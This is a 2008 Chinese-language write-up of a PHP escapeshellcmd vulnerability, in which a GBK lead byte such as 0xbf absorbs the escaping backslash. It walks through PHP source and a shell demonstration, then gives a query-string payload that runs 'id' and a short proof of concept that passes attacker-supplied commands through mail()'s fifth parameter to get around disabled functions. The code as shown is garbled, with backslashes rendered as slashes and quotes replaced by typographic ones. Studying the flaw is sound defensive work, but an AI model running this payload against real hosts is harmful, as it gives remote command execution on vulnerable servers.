phpescapeshellcmd多位元組編碼漏洞解析及延伸

cnbird發表於2008-07-18
 建立時間:2008-05-07
文章屬性:原創
文章提交:T_Torchidy (jnchaha_at_163.com)

漏洞公告在http://www.sektioneins.de/advisories/SE-2008-03.txt

    PHP 5 <= 5.2.5
    PHP 4 <= 4.4.8

    一些允許如GBK,EUC-KR, SJIS等寬位元組字符集的系統都可能受此影響,影響還是非常大的,國內的虛擬主機應該是通殺的,在測試完這個漏洞之後,發現還是十分有意思的,以前也有過對這種型別安全漏洞的研究,於是就把相關的漏洞解釋和一些自己的想法都寫出來,也希望國內的一些有漏洞的平臺能迅速做出響應,修補漏洞。
    這個漏洞出在php的用來轉義命令列字串的函式上,這些函式底層是用的php_escape_shell_cmd這個函式的,我們先來看看他的處理過程:

/* {{{ php_escape_shell_cmd
   Escape all chars that could possibly be used to
   break out of a shell command

   This function emalloc`s a string and returns the pointer.
   Remember to efree it when done with it.
    
   *NOT* safe for binary strings
*/  
char *php_escape_shell_cmd(char *str) {
    register int x, y, l;
    char *cmd;
    char *p = NULL;

    l = strlen(str);
    cmd = safe_emalloc(2, l, 1);
    
    for (x = 0, y = 0; x < l; x++) {
        switch (str[x]) {
            case `”`:
            case `/“:
#ifndef PHP_WIN32
                if (!p && (p = memchr(str + x + 1, str[x], l – x – 1))) {
                    /* noop */
                } else if (p && *p == str[x]) {
                    p = NULL;
                } else {
                    cmd[y++] = `//`;
                }
                cmd[y++] = str[x];
                break;
#endif
            case `#`: /* This is character-set independent */
            case `&`:
            case `;`:
            case “`:
            case `|`:
            case `*`:
            case `?`:
            case `~`:
            case `<`:
            case `>`:
            case `^`:
            case `(`:
            case `)`:
            case `[`:
            case `]`:
            case `{`:
            case `}`:
            case `$`:
            case `//`:
            case `/x0A`: /* excluding these two */
            case `/xFF`:
#ifdef PHP_WIN32
            /* since Windows does not allow us to escape these chars, just remove them */
            case `%`:
                cmd[y++] = ` `;
                break;
#endif
                cmd[y++] = `//`;
                /* fall-through */
            default:
                cmd[y++] = str[x];

        }
    }
    cmd[y] = `/0`;
    return cmd;
}
/* }}} */

    可以看到,php通過將”,`,#,&,;…..等等在shell命令列裡有特殊意義的字元都通過在前面加上/變成/”./`,/#,/&,/;……來進行轉義,使得使用者的輸入被過濾,來避免產生command injection漏洞。在php看來,只要過濾了這些字元,送入到system等函式中時,引數就會是安全的,php手冊中給出的利用例子如下:

<?php
$e = escapeshellcmd($userinput);

// here we don`t care if $e has spaces
system(“echo $e”);
$f = escapeshellcmd($filename);

// and here we do, so we use quotes
system(“touch /”/tmp/$f/”; ls -l /”/tmp/$f””);
?>

    很明顯,如果沒有經過escapeshellcmd的處理,使用者輸入hello;id的話,最後system執行的會是:

echo hello;id

;在shell裡是分割命令的作用,這樣不僅僅會echo hello,還會執行id這個命令,導致命令注入漏洞。用escapeshellcmd處理之後命令變成:

echo hello/;id

這樣執行的命令就只會是echo,其他的都變成echo的引數,很安全。

    事實上是這樣麼?php在處理完引數送入system之後它就什麼都不管了,後面的工作實際上都是由linux來完成的,那麼linux在處理這些引數的時候是怎麼樣的呢?linux在執行命令的時候會有一些的表示工作環境的環境變數,譬如PWD代表當前的工作環境,UID代表了你的身份,BASH代表命令直譯器等等……而在linux系統執行命令的時候,還有一個非常重要的引數,LANG,這個引數決定了linux shell如何處理你的輸入,這樣就可以當你輸入一些中文字元的時候,linux能認識他,不至於出現人與系統之間出現理解上的錯誤。預設情況下,linux的LANG是en_US.UTF-8,UTF-8是一個很安全的字符集,其系列中包含有對自身的校驗,所以不會出現錯誤,會工作良好。一些系統支援多位元組字符集如GBK的時候,這也正是國內的多數情況,你可以設定LANG=zh_CN.GBK,這樣你的輸入都會被當作GBK編碼處理,而GBK是雙位元組的,合法的GBK編碼會被認為是一個字元。
    大家可以看到,在php的處理過程中,它是單位元組處理的,它只把輸入當作一個位元組流,而在linux設定了GBK字符集的時候,它的處理是雙位元組的,大家的理解很明顯地不一致。我們查下GBK的字符集範圍為8140-FEFE,首位元組在 81-FE 之間,尾位元組在 40-FE 之間,而一個非常重要的字元/的編碼為5c,在GBK的尾位元組範圍之內,這樣我們考慮一個特殊的輸入:

    0xbf;id
或    0xbf`id
    
經過php的escapeshellcmd單位元組轉碼之後將會是

    0xbf5c;id
    0xbf5c`id

注意0xbf5c是一個合法的GBK編碼,那麼在linux執行的時候,會認為輸入是

    [0xbfbc];id

很好,後面的id將會被執行。可以做個簡單的實驗,如下:

[loveshell@Loveshell tmp]$ echo 縗
>
?
[loveshell@Loveshell tmp]$ set|grep -i lang
LANG=zh_CN.GB2312
LANGVAR=en_US.UTF-8
[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK
[loveshell@Loveshell tmp]$ echo 縗

[loveshell@Loveshell tmp]$ set|grep -i lang
LANG=zh_CN.GBK
LANGVAR=en_US.UTF-8
[loveshell@Loveshell tmp]$

其中縗的編碼為0xbf5c,可以看到在不設定LANG為GBK的時候縗是一個非法的gb2312編碼,所以會被認為是兩個字元,所以其中含有的0x5c起作用,被認為命令沒結束。然後我們設定編碼為GBK,縗就會被認為是一個字元來echo了。
那我們如何來證明php的漏洞呢,拿

<?php
$e = escapeshellcmd($_GET[c]);
// here we don`t care if $e has spaces
system(“echo $e”);
?>

作為例子,正常情況下上面的程式碼工作很好,我們提交

exp.php?c=loveshell%bf;id

結果返回

loveshell?id

我們再來稍微改下上面的程式碼

<?php
putenv(“LANG=zh_CN.GBK”);
$e = escapeshellcmd($_GET[c]);
// here we don`t care if $e has spaces
system(“echo $e”);
?>

php的putenv函式用於修改php的執行時的環境變數,上面修改完LANG之後,再提交上面的引數就可以看到:

loveshell縗 uid=99(nobody) gid=4294967295 groups=4294967295

命令被成功執行了,這裡需要自己設定環境變數,當然也可能某些機器已經設定了LANG為GBK,於是一些採用escapeshellcmd過濾輸入的就會出問題了。這裡本質是linux和php對引數的理解不一致,而php的mail函式在底層還是依靠系統來執行sendmail命令的,並且支援對sendmail命令加引數,不過引數被過濾了,但是利用這裡說到的問題,我們就可以在多位元組編碼機器上bypass過濾。
    mail函式一些程式碼片段如下:

……
    if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, “SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.”);
        RETURN_FALSE;
    }

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, “sss|ss”,
                              &to, &to_len,
                              &subject, &subject_len,
                              &message, &message_len,
                              &headers, &headers_len,
                              &extra_cmd, &extra_cmd_len
                              ) == FAILURE) {
        return;
    }
……

    if (force_extra_parameters) {
        extra_cmd = estrdup(force_extra_parameters);
    } else if (extra_cmd) {
        extra_cmd = php_escape_shell_cmd(extra_cmd);
    }

    if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {
        RETVAL_TRUE;
    } else {
        RETVAL_FALSE;
    }
…..

這裡如果不是安全模式就會允許第五個引數,第五個引數作為extra_cmd經過php_escape_shell_cmd過濾後作為第五個引數送入php_mail函式,在php_mail中片段如下:

……
    if (extra_cmd != NULL) {
        sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);
        strcpy (sendmail_cmd, sendmail_path);
        strcat (sendmail_cmd, ” “);
        strcat (sendmail_cmd, extra_cmd);
    } else {
        sendmail_cmd = sendmail_path;
    }

#ifdef PHP_WIN32
    sendmail = popen(sendmail_cmd, “wb”);
#else
    /* Since popen() doesn`t indicate if the internal fork() doesn`t work
     * (e.g. the shell can`t be executed) we explicitely set it to 0 to be
     * sure we don`t catch any older errno value. */
    errno = 0;
    sendmail = popen(sendmail_cmd, “w”);
……

extra_cmd被附著在sendmail路徑後面作為引數了,這裡我們就可以利用這個漏洞來在一些禁止掉system等危險函式的環境下執行命令了,我寫的poc如下:

<?php
//php disable function bypass vul
//by Stefan Esser
//poc by Loveshell

putenv(“LANG=zh_CN.GBK”);
mail(“loveshell@loveshell.net”,””,””,””,”xxxx”.chr(0xbf).”;”.$_GET[c]);
?>

可以在支援GBK的機器上執行,其他字符集應該也一樣,稍微修改下也就可以用。至於修補,我想還是儘快升級到新版,或者將mail函式拉入你的黑名單之列。
    這個漏洞的本質是在於處理資料的時候理解不一致造成的,稍微把以前的一些問題結合起來很容易發現這方面的影子。php與Mysql處理不一致導致注射,程式處理和瀏覽器處理html不一致導致xss,處理xml不一致導致xml注射….這裡又看到在linux shell處理上還有不一致的時候導致命令注射。可以預料,在perl等其他指令碼語言裡,涉及字符集處理的地方一樣會產生這樣的問題。字符集代表了系統是如何對待輸入的資料,字符集不一樣,系統得到的資訊就不一樣,在一些字符集中,只要/,`,|這些特殊字元落在寬位元組第二個位元組範圍之中的時候就會導致問題,譬如

SJIS
[/x20-/x7e]|[/xa1-/xdf]|([/x81-/x9f]|[/xe0-/xef])([/x40-/x7e]|[/x80-/xfc])

/x40-/x7e就包括了/x5c,導致問題出現。我們在設計程式在處理與其他層面的程式或者協議打交道的時候就要考慮好這個因素,做好處理的一致,避免出現問題。再次向Stefan Esser致,Stefan Esser is my hero! :)


相關文章